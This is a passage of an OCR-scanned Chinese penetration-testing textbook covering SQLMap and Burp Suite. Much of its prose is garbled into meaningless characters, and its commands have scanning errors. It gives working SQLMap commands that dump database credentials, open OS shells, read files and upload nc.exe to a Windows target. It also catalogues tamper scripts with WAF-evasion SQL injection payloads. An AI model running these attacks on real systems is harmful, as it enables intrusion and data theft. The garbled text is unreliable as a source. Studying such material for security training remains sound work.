sqlmap.py-u http://192.168.1.104/sql1/Less-1/?id=1



'{ EREMEENWE" FFhicoe = }.

ZESTFEIN, 0E3-3F7.

E3-3 JaESEmEA

FE—MER, HEINSGENSHATETRINE, FEMNEIS, MR

o

sqlmap.py-u "http://192.168.1.104/sql1/Less-1/?id=1&uid=2 "

o]AEE, BETRAMEEFEIANEGRE, "BYH —KBRAB, TEX
SIRBRIMEENNES. XEE=AFTEBEENMS : S NERARNEIEEE
FEalgERMYSQL, EAREINTICNEMEIERE,; S NEEERE “levell,
risk1” FBR T, EEERMySQLRMAIFFEPayloadift{Tiaill;, E=4MIEBES
DR, EAEHGHNEMMSE, —RECAREIFER], NE3-4F 7.

E13-4 HIEASSRIBERAIES
2 HIBTAPHERESFEEAN
MIEAFIIEHTTPIERK, SQLMapa] LAM—SASHAAH3REHTTPIEK,
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XA NKEEMESE (Wlcookie, POSTEIRES) , txt™4hAIANE IWebs]
B8, WE3-5F7r.

® o Lixt -

GET /sqll/Less-1/71d=1 HTTP/1.1

Host: 192.168.1.104

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac 0S5 X 10.12; rv:53.0) Gecko/201001081 Firefox/
53.0

Accept: text/html,application/xhtml+xml,application/xmliq=0.9,+/%;q=0.8

Accept-Language: zh-CN,zh;q=0.8,en-US;q=9,5,6n;9=0.3

Connection: close

Upgrade-Insecure-Requests: 1

BE3-5 tt>HHImE
i REFEIANNGSU IR, BEENERNES-6fx, —RETF
TEcookielF \AIER.
sqlmap.py —r desktop/1.txt
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{1.1.5.42dev)
|
|

http://sqlmap.org

[15:65:21)] [WARMING] heuristic (basic) test shows that GET parameter 'id' wight not be injec

table

3 ERNAIEF FRTEEUERE
Zmn< 2REMIFEING, BTEgXmBER MIFEEIERE, W
. RSB EIIRSNE SEIEREIREENE, ERZmSHaILATIHAT
BEdEE, WE3-7H.
sqlmap.py-u http://192.168.1.104/sql1/Less-1/?id=1——-dbs
ME3-7EIIER, EEH 717 SRR T SUREES. SEnEN
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B, ——dbsfEEM-D xxx, HEEEMoodiREPREEREMHIE.

E3-7 EaHiRE
4 REEIRETRIR S
e SHIFRREE=HIEER, EREESEETRENES, MR
MRAZS ST RN -DELCRIEERE— N ERIUSIERE, HPASQLMap=Fltiga
PERRE R, NE3-8ffs.
sqlmap.py-u "http://192.168.1.7/sgl/union.php?id=1"-D dkeye

~ tables

Database: dkeye
[3 tables]

| dns_info
| user_config |
user_info




13-8 dkeyeSUREFRITIES
ME3-8F o] LIES|dkeyeHUREFRBRI3 N RS, SREENE, ——
tablesfESM-T, BREEAFRTHEE.
5 IREEFHIFERE
ZaSHERREI=%EE, BIZETIBNTRE, NIt &%
i CHERUES-OFTT.
sqlmap.py-u "http://192.168.1.7/sqgl/union.php?id=1"-D dkeye-T
A user_info——columns
Database: dkeye
Table: user info
[4 columns]

int(11)
password varchar (32)
userkey varchar(32)
username varchar(25)

E3-9 EaFERE

ME3-9 el LIERIEdkeyefiEEEFHuser_infoeth—HH41MFRR. Hia

SFHBEENF, ——columnsfEEHL-C.
6 IRFRAE

Zan<EEARTREZE, RAZFRIEANGIRES, YT

sqlmap.py —u "http://192.168.1.7/sql/union.php?id=1" -D dkeye —T
user_info —C username, password——dump

XEBEEE NIREIEREdkeyediiEERuser infoZkusernamefipassword

{ﬂﬁﬁ%ﬂﬁﬁ%"m%»mvns
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BYE, 20E3-10F7R.

username
iy

Angelina I-kill-you
Dummy p@ssword

secure crappy
stupid stupidity
superman genious
batman mob!le

E3-10 SERANTRES
7 AREEIEERIFTE B
Zan < HHERESIHEIRENERF, d M. ESAIREFAERIRISEE
EERFIEISIRE, ERZHSHISIHEEERF.
sqlmap.py —u "http://192.168.1.7/sqgl/union.php?id=1"——users
o] IER, HRiAFKSEroot, WE3-11F7x.

abase management system users [4]:
'root'@'127.0.0.1'
'root'@'192.168.1.120'

'root'@'devbook.local’
'root'@'localhost’

B3-11 FUEimAR A
8 REEEAE IS



2

Za SR ERESIHSIRERFNZR, WA MRSFEFEENES
FAFPZRBIEER, SQLMap=esI3tiAF, Aa%ItiHash, F=imz.

sqlmap.py —u "http://192.168.1.7/sql/union.php?id=1"

ME3-124he]PAER, ZRfERMySQLSINZ, aJLifEwww.cmd5.comd 8
1ThEE.

passwords

mmﬁmeMM"m%»mvn-}

E3-12 EEFRIEES
9 FREN S AR USRI = FR

{EFZ < BT LATIH SRS EEFRRIE0RRE, W A

sqlmap.py —u "http://192.168.1.7/sql/union.php?id=1" current-db
MEI3-13Fe] ABRIEIEER" sql'.

back-end DBMS: MySQL >= 5.0.12

current database: 'sql’

E13-13 FIH=mIMaRIEIEE
o 10 ZREHEIUEEIREERI B &R

EZ < DI LAFIH AT e FRRIEURREERR ., 41 FA7~.

sqlmap.py —u "http://192.168.1.7/sqgl/union.php?id=1" current-user

ME3-144a]EERI, R Eroot.
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current user: 'root@localhost’

BE3-14 7IHSaisuRER R,
3.1.3 SQLMapi#tfi: 2F0H#E
1.——Ilevel 5: IRMUZER
28—evel SIEREHUTAIUEZESR, —HB51MFHK (1~5) , 940
level, BHAE1. SQLMapfEABAIPayloada]AfExml/payloads.xmlIhEZ], tha]ld
RIEENAEUAINE 2fPayload, H5KkE & PayloadR®, SEIHEAEH
cookie, XFFELEBFEAN. HA, level SAEITEREBHERIE.
EABHEHIIUWAITENR, GETAIPOSTIEIRE ST, HTTP
cookiefElevel 2B Fi S, HTTP User-Agent/ReferersliElevel 34 FtMlis.
B2, EAEER NPayload 2 ST AR, ATFRESEY, BNERSHlevel

E.
2

is-dba: HEIFAFEEANEENR
Zm<HRTEESAIKFE2EAERESERKS, MM, EAREMIhE
A%&p$, RiRE[Ture, WE3-15/7R.
sqlmap.py —u "http://192.168.1.7/sqgl/union.php?id=1"——is-dba

current user 1is DBA: True

El3-15 EEHgIkFRES SIEESES K,
3——roles: FIHFIRESHERHE

ZanCHTERSIRERFNAR. NRENEAFEIERESINESHERFN
* BANZSSSFIFEHEMERNARE, BolR-USEiEEREm BrNE
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., ZanS(UER T UEEIEEE OraclefIRHE. TEAZEFIDE N Za SIS Ea0E
3-16Ff=.



database management system users roles:
[*] 'root'@'127.0.0.1' (administrator) [28]:

role: ALTER

role: ALTER ROUTINE

role: CREATE

role: CREATE ROUTINE

role: CREATE TABLESPACE

role: CREATE TEMPORARY TABLES

role: CREATE USER

role: CREATE VIEW

role: DELETE

role: DROP

role: EVENT

role: EXECUTE

role: FILE

role: INDEX

role: INSERT

role: LOCK TABLES

role: PROCESS

role: REFERENCES

role: RELOAD

role: REPLICATION CLIENT

role: REPLICATION SLAVE

role: SELECT

role: SHOW DATABASES

role: SHOW VIEW

role: SHUTDOWN

role: SUPER

role: TRIGGER

role: UPDATE

oY
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e
b
7
2
B
7]
iz
B
A
it
S
i
&
2]

NN

-16 EEEERFRER




[l

-%E:‘:Eﬁ%ﬁﬁ?ﬂﬁﬁ%" TE MW o =

4.——referer: HTTP Refererk
SQLMap—JLliEi%ETa‘?q]ﬁJifHTTP‘:F‘E’]referer B level2HIRTE 33
PAERS, £ referenEN. ol MERrefereran$ 3 TR, referer http://

www.baidu.com.
sql-shell: ETEENSQLET

ZanSHETHITIEENSQUES, MF7R, Bi&diTselect*from users
limit 0, 1356), ERUE3-17f7s.
sqlmap.py —u "http://192.168.1.7/sgl/union.php?id=1"——sq|-shell

E3-17 HiTiEEMSQUES
6.——os-cmd, ——os-shell: B HTERMEEFHS

R IMySQL, PostgreSQLE;Microsoft SQL Server, FHXMHIFEF
ERPRERSENREET, WREIERE IMySQL, PostgreSQL, SQLMap EfE—1~—
HHE, 5BEFEEMYNEEsys exec () Fsys eval () , BRABIERNXAE N EEL
AT RS S . EMicrosoft SQL Servert, SQLMapiERxp cmdshell’Z
fETR2, NEWER (fEMicrosoft SQL Server 20055 A ERRAERABIZES]) , W
SQLMap=EHEHE; NEAMFE, =85tE.

FA——os-shel ZE{r] LG — P ESLAIShell, NBHITHIGRS. SR8
WiTZIEaRT (ELAIPHPEASPRISiREIREEAMySQL) |, BARRILAGERINTO
OUTFILEE#a]S5HZR, fIEE—1Webjal]. os-shell3Z}5ASP. ASPNET, JSP
FPHPIUMIES (ERINTHEH, FTEEHEEEESIR, BHE——is-dbaly
BEEATrue) .
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EREHEENE Fedtcoe =

WWW. glanani. com
7—file-read: MNEUBEEARSS BE-PISEUUA:
Zen S FETISETUS:, HEdEEIMySQL. PostgreSQLE;Microsoft
SQL Server, HEYATAFERRERASENREET, SERTHRILARNA, tha]
PIE &S0, FELAMicrosoft SQL Server 200548, 55— file-read 2319
Fai&.

$ python sqlmap.py -u
"http://192.168.136.129/sqlmap/mssql/iis/get_str2.asp?name=1luther” \
--file-read "C:/example.exe” -v 1

[...]

[hh:mm:49] [INFO] the back-end DBMS is Microsoft SQL Server
web server operating system: Windows 2000

web application technology: ASP.NET, Microsoft IIS 6.8, ASP
back-end DBMS: Microsoft SQL Server 2885

[hh:mm:50] [INFO] fetching file: 'C:/example,exe’

[hh:mm:58] [INFO] the SQL gquery provided returns 3 entries
C:/example.exe file saved to:

' /software/sqlmap/output/192.168.136.129/files/C__example.exe'
Lissl

$ 1s -1 output/192.168.136.129/Files/C__example.exe

-rw-r--r-- 1 inquis inquis 2568 2011-MM-DD hh:mm
output/192.168.136.129/files/C__example.exe

$ file output/192.168.136.129/files/C__example.exe
output/192.168.136.129/files/C__example.exe: PE32 executable for MS Windows (GUI)
Intel

80386 32-bit

8.—file-write—file-dest: &N ZIEIEERSSES
ZinSHETBEAAMNARIRSEES, LEdER”RE IMySQL. PostgreSQLEL,
Microsoft SQL Server, B SpIHFEIRERISENREE, HERSUFILIE
MNA, ] IE THEIUE. FELA—TMySQLAYEIFES——file-write file-
dest2EHIAHIE.
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$ file /software/nc.exe.packed

/software/nc.exe.packed: PE32 executable for MS Windows (console) Intel 88386 32-bit
$ 1s -1 /software/nc.exe.packed

-rwxr-xr-x 1 inquis inquis 31744 2009-MM-DD hh:mm /software/nc.exe.packed

$ python sqlmap.py -u "http://192.168.136.129/sqlmap/mysql/get_int.aspx?id=1"
--file-write \

"/software/nc.exe.packed" --file-dest "C:/WINDOWS/Temp/nc.exe" -v 1

[...]

[hh:mm:29] [INFO] the back-end DBMS is MySQL

web server operating system: Windows 2883 or 2088

web application technology: ASP.NET, Microsoft IIS 6.8, ASP.NET 2.8.508727

back-end DBMS: MySQL &gt;= 5.08.0

Y |

do you want confirmation that the file 'C:/WINDOWS/Temp/nc.exe' has been successfully
written on the back-end DBMS file system? [Y/n] y

[hh:mm:52] [INFO] retrieved: 31744
[hh:mm:52] [INFO] the file has been successfully written and its size is 31744 bytes,
same size as the local file '/software/nc.exe.packed"

3.1.4 SQLMapEFEEid il A tamperfiftiz
SQLMapfEEUAIE R MR TEFACHAR () BEALEHIMES|S, i#ExEAN
HHUEFHTIEN, 2R 0] LU ——tamper2 4 HUEMIERCESIT WAFERIR &

E EP?(%B%HHWE%H%IEEUE&%&&EE&H%@%EE ARSI WA Fﬁﬂﬁ‘,ﬂlﬁﬂ

I, a8l MR,
sglmap.py XXXXX——tamper "f&E5"
HREAIRHS3 N EETHA, TEE—MamperfIATHER.
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# sqlmap/tamper/escapequotes.py
from lib.core.enums import PRIORITY
__priority__ = PRIORITY.LOWEST

def dependencies():
pass

def tamper(payload, **kwargs):
return payload.replace("'", "\\'").replace('"", "\\"")

RN, — S\ tamperfI &S D priority R 2E YA
dependencies, tamperEEEY.

o priorityiE M BIARILER, BTFEZ MamperflARIE5R.

e dependenciesEEF=IEZHIAER/NEFEITEE, sJLIAZ.

TEA—NEASFHSSHEA 0], tamperStid IR
dependenciesfltamperf M EREHARL. def tamper (payload, **kwargs) EREIE
Wplayloadfi**kwargsiR[E]—{"Payload. THIXERABNER BT IENITENRG
R NG A e S SN E A S

def tamper(payload, **kwargs):
retVal = payload

if payload:
for match in re.finditer(r"[A-Za-z_]+", retval):
word = match.group()
if word.upper() in kb.keywords:
retVal = retVal.replace(word, word.upper())
return retVal

EHESFEAT®, FiIa—SNiEE5EZ 2 (WAF/IDS/IPS) BT
&, oJLMER2E——identify-wafd il
TENE—EEBtamperfil A,
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¢ apostrophemask.py

{EA: %3158 #AUTF-8, AT ITiRERSIS.

EFRRARIRNEG
1AND'1'="1
ERIARE, B9:

1 AND %EF%BC%871%EF%BC%87=%EF%BC%871

¢ base64encode.py

YEF: Eifaabase64%wi3.
SEFHARIINED )9

1" AND SLEEP (5) #

FEREAR, B6A:
MScgQUSEIFNMRUVQKDUplw==
e multiplespaces.py

1EF: ESESQLRTMIZ S,
EFREARIRNESS:

1 UNION SELECT foobar
EREAE, 1BEA:

1 UNION SELECT foobar

e space2plus.py

1EF: A+ SEIETSIE.
EFAARIINES) -

SELECT id FROM users
EFREAR, 1EGA:

SELECT +id + FROM + users

e nonrecursivereplacement.py
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fEF: fEANEEISET, ANEEIERTENNSQUCEF (ERTIFE
SSNBESIdiEss, PIRIKSELECTEIEN) .

EFRIARINEG A :

1 UNION SELECT 2-

ERRAR, B8A:

1T UNIOUNIONN SELESELECTCT 2-

¢ space2randomblank.py

1B B=EEIRAEMERTR.

EFRIARINEG A :

SELECT id FROM users

FEREAR, B6A:

SELECT%0Did%0DFROM%0Ausers

e unionalltounion.py

YEF: #UNION ALL SELECTE{#%AUNION SELECT.

EFREARIRNESS:

-1 UNION ALL SELECT

EREAE, 1BEA:

-1 UNION SELECT

® securesphere.py

1R IEIMEHIRF AT ER.

EFAARIINES) -

1 AND 1=1

EFREAR, 1EGA:

1 AND 1=1 and'Ohaving'="'0Ohaving’

¢ spaceZhash.py



CHSEREEHW TERE oo = }-

1EF: BIEEIRH4S, FAIN— MBI F A5 RRinae.
EEFMIARIRNES) A :

1 AND 9227=9227

EREAE, Ea8:

1%23nVNaVoPYeva%0AAND %23ngNvzqu % 0A9227=9227
¢ space2mssglblank.py (mssql)

1FF: BB A EMERS.

EFRIARINEG A :

SELECT id FROM users

ERRAR, B8A:

SELECT%0Eid%0DFROM %07users

® space2mssqlhash.py

1EF: BIBERA#S, FHRIl—METHR.
EFRIARINEG A :

1 AND 9227=9227

FEREAR, B6A:
1%23%0AAND%23%0A9227=9227

e between.py

{EF: FENOT BETWEEN 0 ANDERATS (>) , FABETWEEN ANDEif#
5 (=) .

SEFHARIINED -

1 AND A > B-

fERlAR, E9R:
1 AND A NOT BETWEEN 0 AND B-
EFRRARERES -
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1 AND A=B-

EFREASR, EEA:

1 AND A BETWEEN B AND B-

® percentage.py

1EF: ASPAVHES M FREIEAMI—1%S.

EFAARIRNEG) -

SELECT FIELD FROM TABLE

EREAE, Ea8:
%S%EWBLW%BEBCIHT%F%I%E%L%D%F%R%O%M%T%A% B%L%E
® sp _password.py

YEF: MDBMSHEHBaEMMNBRESE+IENsp_password.
EEFMIARIRNES) A :

1 AND 9227=9227-

EREAE, Ea8:

1 AND 9227=9227——sp password

e charencode.py

YEF: MAEMPayload2FRHFAHURLER (MMEELREENFS) .
fEFRARIANEG A

SELECT FIELD FROM%20TABLE

EREA R, 1B8:
%53%45%4c%45%43%54%20%46%49 %45 %4c

%44%20%46%52%4f%4d%20%54%41%42%4c %45

e randomcase.py
1ER: BEHLAANG.
EFRIARINEG A :
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INSERT

ERIEAE, 1B97%:

InsERt

¢ charunicodeencode.py

{EF: T B unicodefRia.

{EFRRARIENRER -

SELECT FIELD%20FROM TABLE

EREAE, Ea8:

%u0053%u0045%u004c
%u0045%u0043%u0054%u0020%u0046%u0049%u0045%u004c
%u0044%u0020 %u0046%u0052%u004f%u004d
%u0020%u0054%u0041%u0042%u004c%u0045

® space2comment.py

1EF: RS8R A/ /.

EFAIARIRNRES))S:

SELECT id FROM users

FERIEAE, B90:

SELECT/**/id/**/FROM/**/users

e equaltolike.py

1B BEFSERAlike.

EFRR BRSS9

SELECT * FROM users WHERE id=1

ERIEAE, 1B97:

SELECT * FROM users WHERE id LIKE 1

e greatest.py



—-o%ﬂi'fﬁ)lﬁ}ﬁmﬁﬁ%" TEBW oo = }h

fEF: Sedxd “>" WIdiE, FAGREATESTEIEATS.

EEFMIARIRNES) A :

1TANDA >B

ERlAR, 1B89:

1 AND GREATEST (A, B+1) =A

T AR FEE RO -

e MySQL 4, MySQL 5.0/0MySQL 5.5

e Oracle 10g

e PostgreSQL 8.3, PostgreSQL 8.4f1PostgreSQL 9.0

o ifnull2ifisnull.py

{EFE: SRIIASIFNULLRVITE, EHSEIUFNULL (A, B) JAIF (ISNULL
(A) , B, A).

EFRMIARIRNEG) A :

IFNULL (1, 2)

ERlAR, 1B69:

IF (ISNULL (1) , 2, 1)

=B IR FEE AR IMySQL 5.0/1MySQL 5.5.

e modsecurityversioned.py

1EF: WiEEStE, SEAMySQLRBSTERIATUHTEA.

EFRRARIRNEG

1 AND 2>1-

EREAR, B6A:

1/*! 30874AND 2>1*/-

Mh s AR SRR IR A IMySQL 5.0,

e space2mysqlblank.py
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dn

{EF: BiEEnEMTHES (EFETMysAL) .
EEFMIARIRNES) A :

SELECT id FROM users

EREAE, Ea8:

SELECT%A0id%0BFROM %0Cusers

MR SR EEZE B R4S IMySQL 5.1,

e modsecurityzeroversioned.py

YEFE: EFMySQLARESTERATAZ (/%! 00000%/) #HTEN.
SEFHARIINED )9

1 AND 2>1-

FEREAR, B6A:

1 /%! 00000AND 2>1%*/-

W E AE IR L BRI A I MySQL 5.0,

e space2mysgqldash.py

1EF: B=igE8iA——, FRI—NMETH.
EFRAARIINES) -

1 AND 9227=9227

EREAE, BaA:

1 %0AAND
¢ bluecoat.py

{EF: ESQUEZAEMHIBNSEERSIER, BaBUKESEET

%0A9227=9227

(ERMARINER )9
SELECT id FROM users where id=1
EREEAE, EaR:
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SELECT%09id FROM%09users WHERE%09id LIKE 1

MBI AR SRR A IMySQL 5.1F1SGOS.

e versionedkeywords.py

1B PR,

EFAARIINRES)J9:

UNION ALL SELECT NULL, NULL, CONCAT (CHAR (58, 104, 116,
116, 58) , IFNULL (CAST (CURRENT USER () AS CHAR) , CHAR (32) ) ,
CH/**/AR (58, 100, 114, 117, 58) ) #

EREAE, Ea8:

/¥1 UNION**1 ALL**! SELECT**! NULL*/, /*! NULL*/, CONCAT
(CHAR (58, 104, 116, 116, 58) , IFNULL (CAST (CURRENT USER () /*!
AS**| CHAR*/) , CHAR (32) ) , CHAR (58, 100, 114, 117, 58) ) #

e halfversionedmorekeywords.py

1EF: HEREEAMySQLETSRIS IS, TEE N BT ZARINMYSQLIRA
pEE =

EFAARIINES) -

value’ UNION ALL SELECT CONCAT (CHAR (58, 107, 112, 113,
58) , IFNULL (CAST (CURRENT USER () AS CHAR) , CHAR (32) ) , CHAR
(58, 97, 110, 121, 58) ) , NULL, NULL# AND '‘QDWa'="QDWa

EREAE, Ea8:

value'/*! OUNION/*! OALL/*! OSELECT/*! OCONCAT (/*! OCHAR
(58, 107, 112, 113, 58) , /*! OIFN ULL (CAST (/*! OCURRENT USER () /
*I 0AS/*! OCHAR) , /*! OCHAR (32) ) , /*! OCHAR (58, 97, 110, 121, 5
8) ) , /*! ONULL, /*! ONULL#/*! OAND'QDWa'="QDWa

W= BT RS R LAY R A 9 MySQL 4.0.18F0MySQL 5.0.22.
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¢ space2morehash.py
1EF: B=IEERH4S, FAIN— MBI F A RMiRaE.
EFRIARINEG A :
1 AND 9227=9227
ERRAR, B8A:
1%23ngNvzqu %0AAND %23nVNaVoPYeva %0A%23 lujYFWfv
%0A9227=9227
MBI FEIRFEZE AR A IMySQL 5.1.41.
e apostrophenullencode.py
YEF: BAEENFHunicode FRFEIRES|S,
EFRAARIINES) -
1 AND'1"="1
EREAE, BaA:
1 AND 9%00%271%00%27=%00%271
¢ appendnullbyte.py
1EF: AR E R BN T BT/ Imis.
EFIARIRNES) -
1 AND 1=1
EREAE, Ea8:
1 AND 1=1%00
¢ chardoubleencode.py
YEA: X#AERPayload £ FFHERAMNEURLES (FMMEBEHIEN=F
EFRIARINEG A :
SELECT FIELD FROM%20TABLE

)
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ERMAR, 1B6:

%2553%2545%254c
9%2545%2543%2554%2520%2546%2549%2545%254¢
%2544%2520%2546%2552%25 4f%254d%2520%2554%2541%2542%254¢
%2545

® unmagicquotes.py

EA: B—1EFPHA (%bf%27) AR BRETTEEEnTIE,

fEFRARIANEG A

1"AND 1=1
fEREAE, B
1%bf%27-

e randomcomments.py

YER: B/ EISQLEET.

FEREABIINER /-

INSERT

SERlAG, BT

IN/**/S/**/ERT

BRSQLMapBEHtampera] MRS HIS, EELiRNE+, FEHRE

T2, FRESBRREZER, tamper N RJEEREEINXIEMIAE, FLAENIREESF

SR E RN tamperfEE, SEFFEEEREtamperfIREHIN, XEERIT S

SEARIRIS AT A BESE B,
3.2 Burp Suitei¥fi#
3.2.1 Burp SuiteflJZesE

Burp SuiteE—SEMMNINEENRTE, 88 7REBIN8E, LIRS
b Z2REXT We b FE FFAY S SIS ANBIE.
Burp SuiteflJavaiE=H5, ET)avaBSIETAMY, SEXIEHFIM
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fEFBEREHE. Burp Suite MEEMMEIMLATE, EREF RS2, i
A—EBakiing, RadsHnliE.

Burp Suites[Hi{TiEF 2 ava X ZER N jars 4, SAEIRETLINER R
%ERNIBurp Suite2 BT ZIRS, TAERARZESHRTE, NEBERAEZNESRIN
g, FEMNEWLZUR. TURSSERNEEXFIBLIF=5.

e Burp Scanner,

o TF=EIHRFIRE.

o iET E, flTarget Analyzer. Content Discoveryf1Task Scheduler.

Burp SuiteEFJavaiE =AM, BfTEKEIRE, FEZ I avalidEZ7 LA
1517, FHBEESRIDK, EELEOAS NEIR], FI=Eeaad "~ &
TR (ZRBEFALUECESEEXARAER) . RrkiE<ia, fTfcmd,
#i\java-version{T7EE, HRORAEENIRESEEREZE, WE3-18F 7.

C:Nllsepsstrust?java —version

-8_112"%
itime Environment <(build 1.8.8_112-b15>
(TM> Client UM <(build 25.112-b15, mixed mode. sharing)

E3-18 EEMAMEE

ETRRERERSE, AF HHEI |, EBERE B - BEERR
B — 'HETE |, AEFERSETE, EHEN TELF" it
A “JAVA HOME" , 7 "E&E" MMENIDKRIZEEEE, 4 "C: \Program Files
(x86) \Java\jdk1.8.0 112" , AiR@adE "HE" 1%5.

£ "EZ5EE PHREIPATHESR, £ "E2E" NSsmil
E “%JAVA HOME%\bin;" , #ad "HE" &i.

£ "RRTE" PHEICLASSPATHEE, EAFNFEXITEE, £ "E
£E" NSAmEMNLE “;%JAVA HOME%\lib\dt.jar;%JAVA HOME%\Ilib
\toolsjar;” , AREE "HE" L.



FTFemd, #Ei\javac, ZROFEMER, WE3-1987R, RBECEIEHES
THIEEE,

-g:none

g:{lines,vars,.source’

o
|
e
b
27
E'S
b4
5]
£
7.3 —
A
8
5
%
i
]

QU

—nowarn

E3-19 i) javac
TEFRIBurp//nZEE, EENEBurploaderjar’)4-ElnliztT, #E3-20
Fr.

[Rbop s 1731 ey et o . ER
o

E3-20 E;’-}Burp‘
3.2.2 Burp Suite \[]
Burp SuitefUE TEELFEEAENLN, FEAEEINENMNERE,
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WWW. qlanani. com
ERIRINEREIE. IRSBIRINREISEZ. Burp SuiteEEf=EHTTPAIHTTPSHNY
HiRE, Bidi=E, Burp SuitelAFEANANEFHINEREE. RSHINRES
BEHEE, LiXEIZe i 8.
HEHET{Fh, EEENWebEFisHEWebillngs, FAIoJLUBTIRER
BER, EEWebEEERE, FXIEidBurp Suite{IEIRSEIRHTIME.
Burp SuiteizfT/a, Burp ProxyZRiAAS{CHRI%[198080, AIE3-21F 7K.

) Burp Prexy uses latoners ks recaive ncomg NTTF requests irom rour Browber Y0 wil Seed 1 CONSGure yOUr Browser 1 wag one 01 e steners as s proxy Berver

ade Runnng Feriace. e Redrect Cembcate |
"] 127 0.0 180680 Pas-hewt
Eoe
Roamave
Esce istatation of Burp pemersies s swn Ca cerbficate Bt Proxy isleners Can use when nepolistng S5 connectons. vou Can DO 0f expert th Certiicae for Use N DMer 008 o BRoher
malstston of Burp

Import { wxpert Ca canficale Fapernarans Ca conficag

E3-21 EFEAREIRDO
XELAFirefoxifltags/ofl, Bzt "TIEER" |, foREE ik
I = BT - "WMERE - RE - "FIEERE |, E3-22FTR, 1’
EHTTPHIEA127.0.0.1, i%[158080, SBurp ProxyRIE—E.



HTTP (38 : 00| 127.0.01 ®0O:(@®| 8080 -

hHFF M FEERECER(S

E=UEERHE ( PAC)

L Lve] ()

E3-22 RS ERERCRER

—

-Proxy
Burp ProxyE2#|ABurpFENIERENEG, BITAEER, aJLLEA1E
. BR. B TERGESkRSIRS BIEaEHE.
Burp ProxyAUf=&IhEETE HInterceptii-E+AIForward, Drop.
Interception is on/offfActionfank, EIAITIEER N,
o ForwardZ RS =EHEIR B e Ks SR e X ERS 2.
e DropFrnki Sai—&alEuEe.
e Interception is onFkAHTEI=ETIEE, BEHEEE Alnterception is off, &
RIAF=ETEE.
e BB ActiontZl, AJLUSEIEEH—5KixTSpider, Scanner,
Repeater, IntruderZEIEEEEHH—SA0M, RN EESXEHIEREINTUE
Hbodyl4m3EIEE.
FIFREes, MARENENURLHZEIESE, XEEEIEIEREST

—-o%ﬂﬁﬁ%ﬁ;ﬁﬁﬁ%" TEBW oo = }-—
o
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Burp Proxy} &, BZEHForwardiZill, Ao ErtHE L. WREE T Dropik
H, st iEgREEE, AEENE,

LBurp Suite=EINEFiniESEZE A, FHATAILIEBUrp SuiteflJiEE
SR EEXNERISANE. HEL, BERkEHEFEE. BurpalitEEsE
BIEE0ER: Raw, Params. HeadersfHex.

e RawTEGRWebiEKMrawt&zl, DENANFRABEIER, 845K
otk HTTPERYARAS, FHISL, DNEEEEE. AcceptalZESMRNEER FHE. R
A, cookied, RILUBNTFIEXMIXE(ER, MNIRSESHHTEEM.

¢ ParamsTEGBREFIHEKNSHER, SEGETEEPOSTIEKIISEL
cookie2%f. TILUBIHERIXENE RS SR IRSS ERIRATBE M.

¢ Headersh @ IEEIREFHELER, LIER. ENFErEEE.

o HexXIWATERawHEEMN T HFINE, o UBITHex BN IEKIINE
BHTIEK, TS 00EEYIEELFA, ME3-23f .
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Www. glanani. com
E3-23 ProxyfI5+E
2.Spider
SpiderfUSNERIEITIHEER] LATEBIEA] T R R ZRU4EH, EhSpiderEENEIRIA
SETargeth R, WE3-24f7, FERAMA—EVFERN, EHEEAE—
S B EENNANE R SR,

Josonl e |

[u- Higing nct founc tems: hidng CSS. mape and penersi brary content heing Gxx resposses, Ning empty foiders 2

[xecisteionion Pawms [ Sabaa|Lenn | W o
L/ U m s Wi .
> w b
D~ 2
N
] g e
- a -
Y r (=]
0 &
De B
u N v
7 W
>3+
N
D
N1
> BT / BITP/1.1 0
D= Host: baike.baidu. com )
> [ - User—Agent: Nozilla/5.0 (Vindows NT 6.1, WOWS1. rv:19,0) Gecko/20100101
0 ses Firefox/19.0
0w Accept: text/htal, spplication/xhtnl+zal, spplication/zal ¢=0.9, +/+ ¢=0.8
De Accept-Lunguage: zh-CR, zh g=0. §, en-U5 . g=0. 5, en q=0. 3
3 Acc ewv-En oding: gzip, defiate, br
. Cookie
. e - wc',.l VE (1 W5y VI0OTLAxUnZ S USweERY Tk bz ZL VaRa Nz SXV TRz emIFL vz G0p IQVFBRUF BT CQAAA
4. Periine AAMMAAFAAABT | v TAAAAAAAAAAAAAAAAAMAAAAMAAAAAAAAMMAAAMNAAAAAAMAAAMAAAAMAAAAMAA
-5, AAAMMAMMAMMANMAMTI - 1oLR e XoE
D BAIDUID="853F 6F 286DSB 1DCAIC | 3CF 2BCESSES: Fos |
Ds EIIUPSTowE0 (0438940 192660 | GABDCOB 1 2DUF 1A, FSTRe1 179733772 localensh
D HLPS_PSSID=1122_21095_20592_21158_21108.21119.2 5)1 TE_21526_21190_21399
o EOPCVER[£o¥3 1 VeSu30] 167 x61 Soew?€0. PSTNOS2 v
-
D« 'l__“'-Lfv 0 matches
E3-24 SpiderFRE
3.Decoder

DecoderfJIHBELLER SR, EEBurpPEHIIRIBHER NS IHEHENTE,
B G SR HT SRS TANED ik,

DecoderfIREUE3-2507. MAEBT~E S BRI/ EENRAEIE,
iabel AEIEES SR, o] ABidEftiBurp TE F TGRS ] “Send to
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Decoder” BEIAIKITR; iSRSNGS FaHiRHTRE/ ERNE
F. T EHNHERSHIEEIS AT HexiXmitE=, HISHERSIEIRMAARIDIER
(Decode as) . %Wi2iEIn (Encode as) . &% (Hash) #apk. {ESCRRERRES, of
LIiRiE S HNREHTIRE.

| Tarmet [ Promy | soser | Scusmer | mirader | Aapester | sequencer [ Dwender | Compares | Extenser | Fraject sotonn | unes aptoss | e |

FrespeL e
|

. LA
\ T

L

E3-25 DecoderfI5RE
XRISEISIEINMS, BAZFURL, HTML, Base64, ASCIIl, 7S,
JUH, SHEIRGZIPH \ M RS 4EHR, HashEBISZIESHA, SHA-224,
SHA-256, SHA-384, SHA-512, MD2, MDS#EAAER., FEENE, XWE—

42, TR LAEDecoderREIRHT2IRMAS. ARRSHUEEIA.
3.2.3 Burp Suiteithy

3.2.3.1 Scanner

Burp ScannerFERTHEFRNIWebZEFHEiRwRE. 4N 5/14EBurp
ScannerUEAFER G, ELIRERTIRESBEES, EAAIRTAT.

B%, HABurp SuitelEEBaH TS IBNEE. AEFHN\Burp
Proxy, XAMREBI=EIN8E, RENSHEIMAVEEURLESE, IWRESIABR T,
Burp Scanner&= @B RIBIRSHIEK, FXEKNBRHTA R EEFE
ZStma. MmBEXSHEA T Burp Targethd, bR ritbEF EiaKEIURLI.
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Www. glanani. com
A PBER— LTI, 25FBurp TargetfJub st FRYSEE,
FEESHEZEURL EATHEIR “Actively scan this host” |, IKATSSBHITIRIRE, RS20
INEIRBI oI FEEE M, NE3-26F7r.

